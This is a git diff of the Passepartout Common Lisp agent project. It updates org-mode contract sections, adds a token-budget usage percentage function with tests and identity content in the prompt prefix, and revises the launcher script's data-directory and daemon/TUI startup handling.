+  (let ((prev passepartout::*agent-identity*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*agent-identity* nil)
+           (is (string= "" (passepartout::agent-identity))))
+      (setf passepartout::*agent-identity* prev))))
+#+end_src

org/symbolic-scope.org

@@ -14,6 +14,28 @@ The core provides the mechanism (=memory-object-scope=, =context-query= with
 scope parameter). This skill provides the policy — what to focus on, what
 scope means for each project, and how the stack is managed.
 
+** Contract
+
+1. (push-context &key project base-path scope): pushes a context plist
+   onto ~*context-stack*~. Blocks if depth exceeds ~*context-max-depth*~.
+2. (pop-context): pops and returns the top context. If the stack would
+   become empty, inserts a default memex-wide context instead.
+3. (current-context): returns the top-of-stack context plist.
+4. (current-scope): returns the ~:scope~ keyword from the current context.
+5. (current-project): returns the ~:project~ name from the current context.
+6. (current-base-path): returns the ~:base-path~ from the current context.
+7. (context-stack-depth): returns the number of contexts on the stack.
+8. (focus-project name base-path): pushes a new context for the named
+   project. Sets ~*scope-resolver*~ to return ~:project~.
+9. (focus-session): pushes an ephemeral context for the current session.
+10. (focus-memex): pushes a global memex-wide context.
+11. (unfocus): pops one level from the context stack.
+12. (resolve-path path): resolves a path relative to the current base-path.
+13. (context-scoped-query &key tag todo-state type): queries memory filtered
+    by the current context's scope.
+14. (context-save): persists the context stack to disk.
+15. (context-load): restores the context stack from disk on startup.
+
 * Implementation
 
 ** Context Stack
@@ -289,14 +311,6 @@ Also restores any previously saved context stack.
 (context-load)
 #+end_src
 
-* Contract
-
-1. (push-context &key project base-path scope): pushes a context plist
-   onto ~*context-stack*~ and persists to disk.
-2. (pop-context): pops the top context, persists, returns restored context.
-3. (context-save): serializes ~*context-stack*~ to the persistence file.
-4. (context-load): restores ~*context-stack*~ from persistence file on boot.
-
 * Test Suite
 #+begin_src lisp
 (eval-when (:compile-toplevel :load-toplevel :execute)
@@ -340,4 +354,10 @@ Also restores any previously saved context stack.
         (fiveam:is (= 1 (length (symbol-value stack-var))))
         (fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
         (ignore-errors (delete-file tmpfile))))))
-#+end_src
+#+end_src* Contract
+
+1. (push-context &key project base-path scope): pushes a context plist
+   onto ~*context-stack*~ and persists to disk.
+2. (pop-context): pops the top context, persists, returns restored context.
+3. (context-save): serializes ~*context-stack*~ to the persistence file.
+4. (context-load): restores ~*context-stack*~ from persistence file on boot.

org/symbolic-time-memory.org

@@ -153,4 +153,4 @@ Falls back to context-query if temporal filtering is not requested."
         (let ((range (passepartout::memory-objects-in-range t1 t2)))
           (is (= 1 (length range)))
           (is (string= "rng-2" (memory-object-id (first range)))))))))
-#+end_src
+#+end_src

org/token-economics.org

@@ -27,9 +27,22 @@ core-reason thin while enabling token economics as a hot-loadable skill.
 
 Depends on: tokenizer.lisp, cost-tracker.lisp
 
+** v0.8.0 — Context Usage for Sidebar
+
+The sidebar's Context gauge needs a single integer: 0-100 representing
+how much of the token budget is consumed. ~context-usage-percentage~
+computes this from ~*context-cache*~'s stored token counts and
+~CONTEXT_MAX_TOKENS~ (or the model's context limit from ~tokenizer~).
+
+The function is a thin wrapper (~8 lines): read the most recent context
+assembly's token count from ~*context-cache*~, divide by the budget,
+multiply by 100, clamp to [0, 100]. Called from ~core-act.org~'s ~:tui~
+actuator via ~fboundp~ guard. Degrades gracefully to nil when
+token-economics is not loaded.
+
 ** Contract
 
-1. (prompt-prefix-cached assistant-name feedback mandates-text tool-belt):
+1. (prompt-prefix-cached assistant-name identity-content feedback mandates-text tool-belt):
    Build the IDENTITY+TOOLS system prompt prefix. Uses ~sxhash~ on the inputs
    to detect changes. Returns the cached string when unchanged.
 2. (context-assemble-cached context sensor): Incrementally assemble awareness
@@ -44,6 +57,10 @@ Depends on: tokenizer.lisp, cost-tracker.lisp
    L3: downgrade context to single-line summary
    Returns (values trimmed-prefix trimmed-ctxt trimmed-logs trimmed-user trimmed-mandates).
 4. (token-economics-initialize): zeroes the cache state at daemon boot.
+5. (context-usage-percentage): returns integer 0-100 representing
+    current token budget consumption from ~*context-cache*~. Clamped.
+    Returns nil when no context cache data is available. Consumed by
+    the TUI actuator for the sidebar Context gauge (v0.8.0).
 
 * Implementation
 
@@ -57,22 +74,24 @@ Depends on: tokenizer.lisp, cost-tracker.lisp
 (defvar *prompt-prefix-cache* (cons nil "")
   "Prompt prefix cache: (sxhash . cached-string). Rebuilt when IDENTITY or TOOLS change.")
 
-(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered "")
+(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered ""
+                            :identity-tokens 0 :tool-tokens 0 :context-tokens 0
+                            :log-tokens 0 :config-tokens 0 :time-tokens 0)
   "Context assembly cache: metadata + last rendered context string.")
 #+end_src
 
 ** Contract 1: prompt prefix caching
 #+begin_src lisp
-(defun prompt-prefix-cached (assistant-name feedback mandates-text tool-belt)
+(defun prompt-prefix-cached (assistant-name identity-content feedback mandates-text tool-belt)
   "Build the static IDENTITY+TOOLS system prompt prefix.
 Uses sxhash on inputs to detect changes; returns cached string on cache hit."
-  (let* ((hash-key (sxhash (list assistant-name feedback mandates-text tool-belt)))
+  (let* ((hash-key (sxhash (list assistant-name identity-content feedback mandates-text tool-belt)))
          (cached-hash (car *prompt-prefix-cache*))
          (cached-str (cdr *prompt-prefix-cache*)))
     (if (and cached-str (> (length cached-str) 0) (= hash-key cached-hash))
         cached-str
-        (let ((new-prefix (format nil "IDENTITY: ~a~a~a~%~%TOOLS:~%~a"
-                                  assistant-name feedback
+        (let ((new-prefix (format nil "IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a"
+                                  assistant-name identity-content feedback
                                   (if (and mandates-text (> (length mandates-text) 0))
                                       (concatenate 'string (string #\Newline) mandates-text)
                                       "")
@@ -127,7 +146,9 @@ with trimmed sections."
                  (ignore-errors
                    (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
                  16384)))
-    (labels ((ct (s) (funcall (symbol-function 'count-tokens) s))
+    (labels ((ct (s) (if (fboundp 'count-tokens)
+                        (funcall (symbol-function 'count-tokens) s)
+                        (ceiling (length s) 4)))
              (total-tokens (p c l u m)
              (+ (ct p)
                 (if c (ct c) 0)
@@ -169,6 +190,25 @@ with trimmed sections."
         (getf *context-cache* :rendered) ""))
 #+end_src
 
+** Contract 5: context usage percentage (v0.8.0)
+#+begin_src lisp
+(defun context-usage-percentage ()
+  "Returns integer 0-100: current token budget consumption.
+Returns nil when no context cache data is available."
+  (let* ((limit (or (ignore-errors
+                      (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
+                    16384))
+         (tokens (+ (or (getf *context-cache* :identity-tokens) 0)
+                    (or (getf *context-cache* :tool-tokens) 0)
+                    (or (getf *context-cache* :context-tokens) 0)
+                    (or (getf *context-cache* :log-tokens) 0)
+                    (or (getf *context-cache* :config-tokens) 0)
+                    (or (getf *context-cache* :time-tokens) 0))))
+    (if (> tokens 0)
+        (min 100 (floor (* 100 tokens) limit))
+        nil)))
+#+end_src
+
 * Test Suite
 #+begin_src lisp
 (eval-when (:compile-toplevel :load-toplevel :execute)
@@ -184,11 +224,22 @@ with trimmed sections."
     :description "Prompt prefix caching, incremental context, token budget")
 (in-suite token-economics-suite)
 
+(test test-prompt-prefix-cached-identity
+  "Contract 1: prompt-prefix-cached includes identity-content when provided."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((prefix (passepartout::prompt-prefix-cached
+                 "Agent" "### Mode: concise" "" nil "No tools")))
+    (is (stringp prefix))
+    (is (search "IDENTITY" prefix))
+    (is (search "Mode: concise" prefix))
+    (is (search "TOOLS" prefix))))
+
 (test test-prompt-prefix-cached-builds
   "Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
   (setf (car passepartout::*prompt-prefix-cache*) nil
         (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" nil "No tools")))
+  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
     (is (stringp prefix))
     (is (search "IDENTITY" prefix))
     (is (search "TOOLS" prefix))))
@@ -197,16 +248,16 @@ with trimmed sections."
   "Contract 1: second call with same inputs returns cached result."
   (setf (car passepartout::*prompt-prefix-cache*) nil
         (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Agent" "" nil "No tools")))
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
     (is (string= p1 p2))))
 
 (test test-prompt-prefix-cached-miss
   "Contract 1: different inputs rebuild the cache."
   (setf (car passepartout::*prompt-prefix-cache*) nil
         (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Bot" "" nil "No tools")))
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
     (is (not (string= p1 p2)))
     (is (search "Bot" p2))))
 
@@ -258,4 +309,37 @@ with trimmed sections."
   (is (null (car passepartout::*prompt-prefix-cache*)))
   (is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
   (is (string= "" (getf passepartout::*context-cache* :rendered))))
-#+end_src
+#+end_src* v0.8.0 Tests — Context Usage
+#+begin_src lisp
+(in-package :passepartout-token-economics-tests)
+
+(test test-context-usage-percentage
+  "Contract 5: context-usage-percentage returns integer 0-100."
+  ;; Set up a cache with known token counts
+  (let* ((ctx passepartout::*context-cache*)
+         (limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
+                    16384)))
+    (setf (getf ctx :identity-tokens) 1000
+          (getf ctx :tool-tokens) 500
+          (getf ctx :context-tokens) 2000
+          (getf ctx :log-tokens) 800
+          (getf ctx :config-tokens) 200
+          (getf ctx :time-tokens) 100)
+    (let ((pct (passepartout::context-usage-percentage)))
+      (is (integerp pct))
+      (is (<= 0 pct 100)))))
+
+(test test-context-usage-percentage-empty-cache
+  "Contract 5: context-usage-percentage returns nil with no cache data."
+  (let ((saved-ctx (copy-list passepartout::*context-cache*)))
+    (unwind-protect
+         (progn
+           (setf (getf passepartout::*context-cache* :identity-tokens) nil
+                 (getf passepartout::*context-cache* :tool-tokens) nil
+                 (getf passepartout::*context-cache* :context-tokens) nil
+                 (getf passepartout::*context-cache* :log-tokens) nil
+                 (getf passepartout::*context-cache* :config-tokens) nil
+                 (getf passepartout::*context-cache* :time-tokens) nil)
+           (is (null (passepartout::context-usage-percentage))))
+      (setf passepartout::*context-cache* saved-ctx))))
+#+end_src

org/tokenizer.org

@@ -223,4 +223,4 @@ Uses the provider's default model for pricing."
   "Contract 1: non-string values are coerced and counted."
   (let ((count (count-tokens 12345)))
     (is (> count 0))))
-#+end_src
+#+end_src

passepartout

@@ -17,7 +17,7 @@ done
 export SCRIPT_DIR="$( cd -P "$( dirname "$SOURCE" )" && pwd )"
 
 export PASSEPARTOUT_CONFIG_DIR="$(realpath -m "${XDG_CONFIG_HOME:-$HOME/.config}/passepartout")"
-export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$(realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/passepartout")}"
+export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$(if [ -d "$HOME/memex/projects/passepartout/lisp" ]; then realpath -m "$HOME/memex/projects/passepartout"; else realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/passepartout"; fi)}"
 export PASSEPARTOUT_STATE_DIR="$(realpath -m "${XDG_STATE_HOME:-$HOME/.local/state}/passepartout")"
 export PASSEPARTOUT_BIN_DIR="$(realpath -m "${XDG_BIN_HOME:-$HOME/.local/bin}")"
 export PASSEPARTOUT_MEMEX_DIR="${PASSEPARTOUT_MEMEX_DIR:-$HOME/memex}"
@@ -81,6 +81,9 @@ setup_system() {
         esac
     done
 
+    # Always deploy to XDG, not the dev directory
+    export PASSEPARTOUT_DATA_DIR="$(realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/passepartout")"
+
     echo -e "${BLUE}=== Passepartout: Configure ===${NC}"
     mkdir -p "$PASSEPARTOUT_CONFIG_DIR" "$PASSEPARTOUT_DATA_DIR" "$PASSEPARTOUT_STATE_DIR" "$PASSEPARTOUT_BIN_DIR"
     mkdir -p "$PASSEPARTOUT_DATA_DIR/org" "$PASSEPARTOUT_DATA_DIR/lisp" "$PASSEPARTOUT_DATA_DIR/tests"
@@ -97,7 +100,9 @@ setup_system() {
     fi
 
     echo -e "${YELLOW}--- Deploying Engine to $PASSEPARTOUT_DATA_DIR ---${NC}"
-    cp "$SCRIPT_DIR/passepartout.asd" "$PASSEPARTOUT_DATA_DIR/"
+    if [ "$SCRIPT_DIR" != "$PASSEPARTOUT_DATA_DIR" ]; then
+        cp "$SCRIPT_DIR/passepartout.asd" "$PASSEPARTOUT_DATA_DIR/"
+    fi
     mkdir -p "$PASSEPARTOUT_DATA_DIR/org" "$PASSEPARTOUT_DATA_DIR/lisp" "$PASSEPARTOUT_DATA_DIR/tests"
     export INSTALL_DIR="$PASSEPARTOUT_DATA_DIR"
 
@@ -106,7 +111,7 @@ setup_system() {
         [ -f "$f" ] || continue
         fname=$(basename "$f" .org)
         echo "Tangling $fname..."
-        cp "$f" "$PASSEPARTOUT_DATA_DIR/org/"
+        [ "$SCRIPT_DIR" != "$PASSEPARTOUT_DATA_DIR" ] && cp "$f" "$PASSEPARTOUT_DATA_DIR/org/"
         (cd "$PASSEPARTOUT_DATA_DIR/org" && emacs -Q --batch \
             --eval "(require 'org)" \
             --eval "(setq org-confirm-babel-evaluate nil)" \
@@ -347,19 +352,17 @@ case "$COMMAND" in
                 --eval '(funcall (find-symbol "DIAGNOSTICS-MAIN" :passepartout))'
         fi
         ;;
-    daemon)
-        check_dependencies
-        # Use the script's directory as the data dir (development mode)
-        # In production, set PASSEPARTOUT_DATA_DIR to your deployment path
-        export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$SCRIPT_DIR}"
-        export MEMEX_DIR="${PASSEPARTOUT_MEMEX_DIR:-$HOME/memex}"
-        echo "Starting daemon (data dir: $PASSEPARTOUT_DATA_DIR)..."
+     daemon)
+         check_dependencies
+         export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$SCRIPT_DIR}"
+         export MEMEX_DIR="${PASSEPARTOUT_MEMEX_DIR:-$HOME/memex}"
+         echo "Starting daemon (data dir: $PASSEPARTOUT_DATA_DIR)..."
         nohup sbcl --non-interactive \
             --eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
-            --eval "(ql:quickload :passepartout)" \
-            --eval "(load (format nil \"~alisp/neuro-router.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\")))" \
-            --eval "(load (format nil \"~alisp/embedding-backends.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\")))" \
-            --eval "(load (format nil \"~alisp/neuro-explorer.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\")))" \
+            --eval '(ql:quickload :passepartout)' \
+            --eval "(handler-case (load (format nil \"~alisp/neuro-router.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\"))) (error () nil))" \
+            --eval "(handler-case (load (format nil \"~alisp/embedding-backends.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\"))) (error () nil))" \
+            --eval "(handler-case (load (format nil \"~alisp/neuro-explorer.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\"))) (error () nil))" \
             --eval '(funcall (find-symbol "MAIN" :passepartout))' \
             > "$PASSEPARTOUT_STATE_DIR/daemon.log" 2>&1 &
         echo "Waiting for port 9105..."
@@ -378,13 +381,32 @@ case "$COMMAND" in
             echo "Starting daemon first..."
             $0 daemon
         fi
-        exec sbcl \
-            --eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
-            --eval '(declaim (optimize (debug 3) (speed 0) (safety 3)))' \
-            --eval "(push (truename \"$PASSEPARTOUT_DATA_DIR/\") asdf:*central-registry*)" \
-            --eval '(ql:quickload :passepartout/tui)' \
-            --eval '(in-package :passepartout)' \
-            --eval '(handler-bind ((error (lambda (c) (format t "~%CRASH: ~a~%" c) (sb-debug:print-backtrace :count 30 :stream *error-output*) (finish-output) (finish-output *error-output*) (uiop:quit 1)))) (passepartout.channel-tui:tui-main))'
+        # Build TUI load script with proper paths
+        cat > /tmp/tui-load.lisp << LISPEOF
+(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))
+(declaim (optimize (debug 3) (speed 0) (safety 3)))
+(push (truename "$PASSEPARTOUT_DATA_DIR/") asdf:*central-registry*)
+(ql:quickload :cl-tty :silent t)
+(ql:quickload :passepartout :silent t)
+(let ((dir (pathname (format nil "~a/lisp/" (truename "$PASSEPARTOUT_DATA_DIR")))))
+  (dolist (f '("channel-tui-state" "channel-tui-view" "channel-tui-main"))
+    (let* ((src (merge-pathnames (format nil "~a.lisp" f) dir))
+           (fasl (merge-pathnames (format nil "~a.fasl" f) dir)))
+      (when (or (not (probe-file fasl))
+                (< (file-write-date fasl) (file-write-date src)))
+        (compile-file src :output-file fasl :verbose nil :print nil))
+      (load fasl :verbose nil :print nil))))
+(in-package :passepartout)
+(handler-bind ((error (lambda (c) (ignore-errors
+  (with-open-file (f (merge-pathnames ".cache/passepartout/tui-crash.log" (user-homedir-pathname))
+               :direction :output :if-exists :supersede :if-does-not-exist :create)
+    (format f "CRASH: ~a~%~%" c) (sb-debug:print-backtrace :count 50 :stream f) (finish-output f)))
+  (format t "~%=== TUI CRASH ===~%CRASH: ~a~%" c)
+  (format t "Full backtrace saved to ~~/.cache/passepartout/tui-crash.log~%")
+  (sleep 3) (finish-output) (uiop:quit 1))))
+  (passepartout.channel-tui:tui-main))
+LISPEOF
+        exec sbcl --noinform --load /tmp/tui-load.lisp
         ;;
     gateway)
         SUBCMD=$1; PLATFORM=$2; TOKEN=$3

passepartout.asd

@@ -1,7 +1,7 @@
 (defsystem :passepartout
   :name "Passepartout"
   :author "Amr Gharbeia"
-  :version "0.4.3"
+  :version "0.7.2"
   :license "AGPLv3"
   :description "The Probabilistic-Deterministic Lisp Machine"
   :depends-on (:usocket :bordeaux-threads :dexador :uiop :cl-dotenv :cl-ppcre :hunchentoot :ironclad :str :cl-json :uuid)
@@ -16,7 +16,7 @@
                (:file "lisp/core-pipeline")))
 
 (defsystem :passepartout/tui
-  :depends-on (:passepartout :croatoan :usocket :bordeaux-threads)
+  :depends-on (:passepartout :cl-tty :usocket :bordeaux-threads)
   :serial t
   :components ((:file "lisp/channel-tui-state")
                (:file "lisp/channel-tui-view")